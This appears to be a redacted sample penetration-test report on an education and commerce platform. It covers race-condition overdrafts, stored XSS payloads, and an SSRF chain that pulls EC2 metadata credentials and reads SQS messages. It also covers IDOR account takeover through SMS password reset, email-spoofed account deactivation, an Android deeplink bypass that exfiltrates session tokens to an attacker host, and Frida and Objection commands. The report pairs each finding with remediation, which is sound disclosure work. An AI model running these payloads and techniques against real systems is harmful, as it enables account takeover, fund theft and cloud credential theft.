PENETRATION TESTING REPORT

Description

The withdrawal endpoint /api/v2/finance/withdraw does not implement server-side concurrency controls (e.g., database row-level locking, atomic transactions, or idempotency tokens). An attacker can send multiple simultaneous withdrawal requests for an amount equal to their balance. Since all requests pass the balance check before any deduction is committed, each request is processed independently, resulting in a total withdrawal exceeding the available balance — effectively stealing funds.

POST /api/v2/finance/withdraw HTTP/2
Host: teach.[redacted]

{
  "itc": 3000,
  "account_type": 40,
  "pwd": "[redacted]",
  "operation": 0
}

Impact

• Financial loss to the platform through unauthorized balance overdraft
• Attackers can withdraw more ITC credits than their account holds
• Potential for mass exploitation via automated tooling

Remediation

• Implement database-level row locking (SELECT FOR UPDATE) during withdrawal transactions
• Use idempotency keys to prevent duplicate request processing
• Apply server-side rate limiting per user for financial operations
• Validate final balance in an atomic transaction before committing

Description

The course creation endpoint does not sanitize HTML/JavaScript content in the title and description fields. Malicious script payloads injected via course creation are stored in the database and rendered unsanitized to any user who views the lesson page or receives a lesson invitation. This allows a teacher to steal session tokens from students or other teachers who visit the infected page.

{"is_available":1,"title":"<script>alert(\"salman2\")</script>\"><img src=x onerror=prompt(11)> ","description":"<script>alert(\"salman2\")</script>\"><img src=x onerror=prompt(\"salman1\")> <script>alert(\"salman2\")</script>\"><img src=x onerror=prompt(\"salman1\")> <script>alert(\"salman2\")</script>\"><img src=x onerror=prompt(\"salman1\")> <script>alert(\"salman2\")</script>\"><img src=x onerror=prompt(\"salman1\")> ","language":"french","level_lower_limit":2,"level_up_limit":3,"course_category":"CA001","course_tag_list":[{"group":"GR000","tag_list":["T0004"]}],"course_price":[{"session_length":4,"package_length":1,"session_price":3000,"package_price":3000}]}

Impact

• Full account takeover of any user who views the infected lesson page
• Session token theft via JavaScript execution (document.cookie / localStorage)
• Persistent attack vector — payload remains until record is deleted
• Exploitation via lesson invitation link allows targeting specific victims

Video POC available (link redacted for privacy).

Remediation

• Implement server-side output encoding for all user-supplied fields
• Enforce strict Content-Security-Policy (CSP) headers
• Use an HTML sanitization library (e.g., DOMPurify) on the rendering layer
• Apply input validation to reject HTML tags in course title/description fields

Attack Phases

• Vulnerable endpoint (root cause).
• Escalation to access the file system (Failed).
• Escalation to EC2 metadata (Succeeded).
• Escalation to access SQS queues (Succeeded).
• Escalation to command execution (Failed / Prevented).

Vulnerability Overview

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to issue requests over different protocols and URI schemes on behalf of the vulnerable application in order to read and/or update internal resources. The vulnerability commonly arises when a functionality on the application is responsible of issuing requests to specific URLs and fetching their response for further processing, the dangerous part is where those URLs are completely under user’s control, and they don’t go through any validation checks before they’re actually used to issue request by the application.

Vulnerable Functionality

While mapping the application endpoints and functionalities, we came across the functionality responsible for signing users up through Facebook. The login request passes Facebook’s access token alongside other parameters, including the user’s profile picture URL through the image_url parameter. The application fetches the supplied content using an HTTP request and stores it as a .jpg file on the CDN storage with a random name.

POST /[redacted]/v1/userserv/login HTTP/1.1
Host: [redacted]
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: [redacted]

image_url=https%3A%2F%2Fgraph.facebook.com%2F[redacted-user-id]%2Fpicture%3Ftype%3Dlarge&token=[redacted]&gateway=facebook&need_cookie=true

The response contains the avatar_url field only if it is the first time for that user to log in. Reproduction therefore requires a new test account or a reset of the authorized test account.

Determining the Exploitability

The basic thing to try here was to confirm if the application issues a request to the URL provided to that parameter. The application did issue an HTTP request to the supplied URL. Changing the parameter value to a loopback address returned a CDN URL whose downloaded content contained the HTML source of an internal Nginx not-found page. This confirmed that the server-side request went through and that its response could be read.

image_url=http://127.0.0.1:80/[redacted]/dist_web/desktop/imgs/favicon.png

Returned asset:
https://[redacted-cdn]/upload/img200X200/[redacted].jpg

Escalation to Access the File System (Failed)

The next step was to try to access the file system using the file:// URI scheme. After changing the parameter value to file:///etc/passwd, the result did not contain the content of the file. The Go HTTP client used by the application did not appear to support file-system access using file:// by default.

Escalation to Access AWS EC2 Metadata (Succeeded)

Because the issue could be abused to issue HTTP requests, the next technique was to attempt to query the AWS EC2 Metadata API. Amazon AWS provides an API that EC2 instances can query for metadata, including SSH public keys, internal and public hostnames, role information, and temporary credentials.

http://169.254.169.254/latest/user-data/

{
  "Code": "Success",
  "LastUpdated": "[redacted]",
  "InstanceProfileArn": "[redacted]",
  "InstanceProfileId": "[redacted]"
}

The role name was identified and then used to request the associated temporary credentials. The response contained a valid AccessKeyId, SecretAccessKey, session Token, and Expiration value. All credential values have been removed from this sample report.

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "[redacted]",
  "SecretAccessKey": "[redacted]",
  "Token": "[redacted]",
  "Expiration": "[redacted]"
}

Permission Enumeration

The temporary credentials were fingerprinted to determine their effective permissions. The role did not expose IAM permissions that would allow users or privileges to be added, but it did allow access to Amazon SQS queue enumeration.

{
  'Statement': [{
    'Action': ['ListQueues'],
    'Effect': 'Allow',
    'Resource': '*'
  }],
  'Version': '2012-10-17'
}

Escalation to Access SQS Queues (Succeeded)

Using the temporary credentials, the running SQS queues could be enumerated and messages could be read from queues that contained data at the time of testing. Queue names, message bodies, account identifiers, and all cloud credentials have been removed from this sample.

import boto.sqs
from boto.sqs.connection import SQSConnection

region = boto.sqs.regions()[6]
conn = SQSConnection(
    region=region,
    aws_access_key_id='[redacted]',
    aws_secret_access_key='[redacted]',
    security_token='[redacted]'
)
queues = conn.get_all_queues()
print(queues)

The messages stored in the queues may contain sensitive and confidential information. Access to the queues can also be abused by flooding them or sending messages containing altered or fake information.

Escalation to Command Execution (Failed / Prevented)

Some queues were associated with Celery. A controlled test checked whether a Celery worker would consume a message serialized using Pickle. The message could be written to the queue, but it was never consumed by the worker and no command was executed. This indicates that the worker was likely configured to accept JSON only, used the JSON task serializer, or otherwise rejected the unsafe content type.

Maximum Impact

The maximum impact achieved during the assessment was unauthorized access to cloud metadata, temporary credentials, SQS queue information, and messages stored in accessible queues. This access could expose sensitive information and could be abused to flood queues or introduce altered or fake messages.

The risk could increase significantly if the instance is granted broader permissions in the future or if any queue is later configured to support unsafe Pickle deserialization.

Recommendations

• Never trust user-controlled input. Validate every value passed to the backend and strictly restrict the image_url parameter to the expected Facebook image source.
• Where possible, avoid accepting a complete user-controlled URL. Construct the expected image URL server-side from a validated numeric Facebook user ID.
• Continue applying least-privilege IAM permissions and do not grant public-facing application instances unnecessary IAM capabilities.
• Continue configuring Celery to reject Pickle and other unsafe serializers, accepting JSON content only.
• Block access from application workloads to cloud metadata endpoints unless explicitly required, and require IMDSv2 on AWS.

References

• OWASP — Server-Side Request Forgery
• AWS EC2 Instance Metadata documentation
• Celery security and accept_content configuration
• Nimbostratus AWS exploitation research tool

Summary

While fuzzing and mapping the application API routes and platform features, we came across an API endpoint responsible for turning on SMS notifications for user account actions. The parameter that caught our attention was the email value.

We changed it to another email address associated with a different authorized test account. After making this change, the server responded that our phone number had been successfully added to the other account.

POST /api/customer/smsOptInOut HTTP/1.1
Host: [redacted]
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: [redacted]
Cookie: [redacted]

{
  "mobileNumber": "[redacted-test-number]",
  "optInSms": true,
  "email": "[redacted-victim-test-account]"
}

To escalate the attack severity, we searched for a way to perform password reset through the mobile number associated with the user. The platform UI did not expose this functionality directly, so the application JavaScript bundle was reviewed to identify the responsible API endpoint.

After issuing the password-reset request with the user email, a reset-password SMS message was received on the test mobile number that had been attached to the other account through the vulnerable SMS opt-in endpoint.

POST /api/customer/sendPasswordResetSMS HTTP/1.1
Host: [redacted]
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: [redacted]
Cookie: [redacted]

{
  "email": "[redacted-victim-test-account]"
}

Impact

Taking over users’ accounts without any interaction from them, making it possible for an attacker to access the victim account and purchase products using saved payment options.

Remediation

• Derive the account identity from the authenticated server-side session instead of accepting an arbitrary email address from the client.
• Verify that any mobile number being added belongs to the authenticated account through an OTP challenge before enabling it for notifications or account recovery.
• Require re-authentication or step-up verification before changing account recovery factors.
• Notify the account owner through an existing trusted channel whenever SMS or recovery settings are changed.
• Review all customer API endpoints for object-level authorization issues and enforce ownership checks consistently.

All hostnames, account emails, mobile numbers, cookies, screenshots, and target-specific identifiers have been removed from this sample for privacy.

Description

The teacher account deactivation process relies on sending an email to the support inbox. The support team then manually deactivates the requested account. This process does not verify the email’s origin — it trusts the From header. An attacker can use a third-party SMTP relay (e.g., Brevo/Sendinblue) to spoof the sender address of a victim teacher and request deactivation of their account, leading to a Denial of Service against legitimate teachers.

import smtplib
smtp_server = 'smtp-relay.brevo.com'
sender_email = '[victim spoofed email]'
receiver_email = '[support inbox]'
subject = 'deactive My email'
# Body requests deactivation of victim account

Impact

• Attacker can force-deactivate any teacher’s account without their consent
• Targeted Denial of Service against legitimate teachers
• Reputational and financial damage to affected teachers

Remediation

• Implement email verification: send a confirmation link to the account’s registered email before processing deactivation
• Add DMARC, SPF, and DKIM validation checks on incoming support emails
• Require authenticated in-app requests for account deactivation instead of email-based requests
• Enforce MFA confirmation before initiating account deactivation

Description

The teacher video upload endpoint accepts arbitrary file types without proper content-type validation or file extension restrictions. An attacker can upload HTML files (or potentially other dangerous file types) disguised as video uploads. The server accepts the file and returns a success response, meaning malicious content can be stored on the server.

POST /api/v2/teacher/video HTTP/2
Host: teach.[redacted]
Content-Disposition: form-data; name="file"; filename="00-49-50.html"
Content-Type: text/html

{"meta": {"performance": 0, "server_time": 0, "ver": "2.2.0"}, "data": {}, "success": 1}

Remediation

• Validate file types server-side using magic bytes (not just MIME type or extension)
• Maintain an allowlist of permitted extensions (mp4, mov, avi, etc.)
• Store uploaded files outside the web root and serve through a dedicated CDN
• Scan uploaded files with antivirus/malware detection

Description

The DeepLinkActivity is declared as exported in AndroidManifest.xml, allowing any third-party application or browser to invoke it. The activity uses two flawed regex patterns to validate URLs before passing them to the internal WebView. Both regexes can be bypassed using either a userinfo bypass (https://[trusted]@attacker.com/) or a subdomain bypass (https://[trusted].attacker.com/). The attacker-controlled page is loaded in a WebView with JavaScript enabled and a DSBridge JS interface attached, which exposes sensitive methods including getToken() (returns the user’s X-Token session credential) and getUser() (returns full user profile). An attacker can exfiltrate the victim’s session token with a single click on a crafted deeplink.

HTTP_LINK_REGEX =
  (http[s]?://)?([a-zA-Z0-9.\-]+\.)?
  ([trusted-domains])
  ([a-zA-Z0-9.\-~!@#$%^&*+?:_/=<>|()]*...)

// Bypass 1 (userinfo):  https://[trusted]@attacker.com/...
// Bypass 2 (subdomain): https://[trusted].attacker.com/...

getToken(msg) — Returns X-Token session credential
getUser(msg) — Returns authenticated user profile as JSON
openUrl(msg) — Re-enters navigation with attacker input (chainable)
pay(msg, handler) — Triggers payment flow
downloadImage(json) — File download

adb shell am start -n [package]/[DeepLinkActivity] \
  -a android.intent.action.VIEW \
  -d 'https://[trusted]@[attacker-host]/x.html?oitype=0'

"[scheme]://webView?url=http%3A%2F%2F[trusted]%40[attacker-host]%2Fpoc.html%3Frnd%3D2"

Impact

• Full account takeover with a single click — no user interaction beyond clicking a link
• Session token exfiltration to attacker-controlled server
• Arbitrary JavaScript execution in WebView context
• Phishing via the legitimate app interface
• Ability to interact with all DSBridge-exposed JS interfaces

Remediation

• Fix the regex to use strict anchoring: validate the full host, not just that it contains the trusted domain
• Use Uri.getHost() for host validation instead of regex on the raw URL string
• Do not export DeepLinkActivity unless strictly necessary; use intent filters with proper scheme/host restrictions
• Remove or restrict the JS Bridge from loading on non-internal origins
• Enforce origin validation before attaching the DSBridge JS object

The application does not perform checks for rooted devices or emulator environments. Attackers running the application on a rooted device gain access to the application’s private data directory, can bypass security controls, and can perform advanced attacks such as memory dumping and runtime manipulation.

Remediation

• Integrate a root detection library (e.g., RootBeer, SafetyNet/Play Integrity API)
• Restrict app functionality or alert users when running on a rooted or emulated device
• Apply control-flow obfuscation to prevent easy bypass of detection logic

The application does not implement any runtime anti-hooking checks. Using Frida, an attacker can inject scripts into the running application process to bypass authentication, manipulate business logic, and extract sensitive runtime data such as decrypted payloads and session tokens.

frida -U -f [package]

Remediation

• Detect the presence of known hooking libraries (FridaGadget.so, cynject) at runtime
• Implement code integrity checks to detect method swizzling and hook injection
• Apply code obfuscation (ProGuard/R8) to complicate reverse engineering

The iOS application does not perform jailbreak detection checks. On a jailbroken device, an attacker can access the application’s private files and keychain data, bypass security controls, and perform runtime manipulation using tools such as Cydia Substrate or Frida.

Remediation

• Implement jailbreak detection using multiple indicators (Cydia installation, sandbox escape tests, suspicious file paths)
• Apply control-flow flattening to obfuscate detection logic
• Use multiple detection methods as no single check is foolproof

The iOS application does not detect or prevent runtime instrumentation. Using Objection, an attacker can explore the application’s runtime, bypass SSL pinning (if implemented), dump sensitive data, and modify application behavior without recompilation.

objection -g [bundle-id] explore

Remediation

• Detect suspicious dylibs at runtime (FridaGadget, cynject, libcycript)
• Implement method swizzling prevention and code tracing detection
• Apply Swift/ObjC method name obfuscation

Third-party analytics and push notification cookies are persisted in local storage on the device with extended expiration dates. On a compromised or jailbroken device, an attacker can extract these cookies, potentially gaining access to tracking data or third-party session identifiers.

Remediation

• Use ephemeral URLSessionConfiguration to avoid persisting cookies
• Clear all cookies and local storage on logout and app termination
• Enforce short expiration times for any cookies that must be persisted
• Store sensitive tokens in iOS Keychain with appropriate access controls

The application supports iOS versions as old as 15.1, which lack numerous security patches and platform-level protections introduced in later iOS versions. Users running older iOS versions have an increased attack surface due to known OS-level CVEs that remain unpatched on their devices.

Remediation

• Increase MinimumOSVersion to align with Apple’s actively supported versions
• Notify users running unsupported iOS versions to upgrade
• Monitor Apple’s security advisories and adjust minimum version requirements accordingly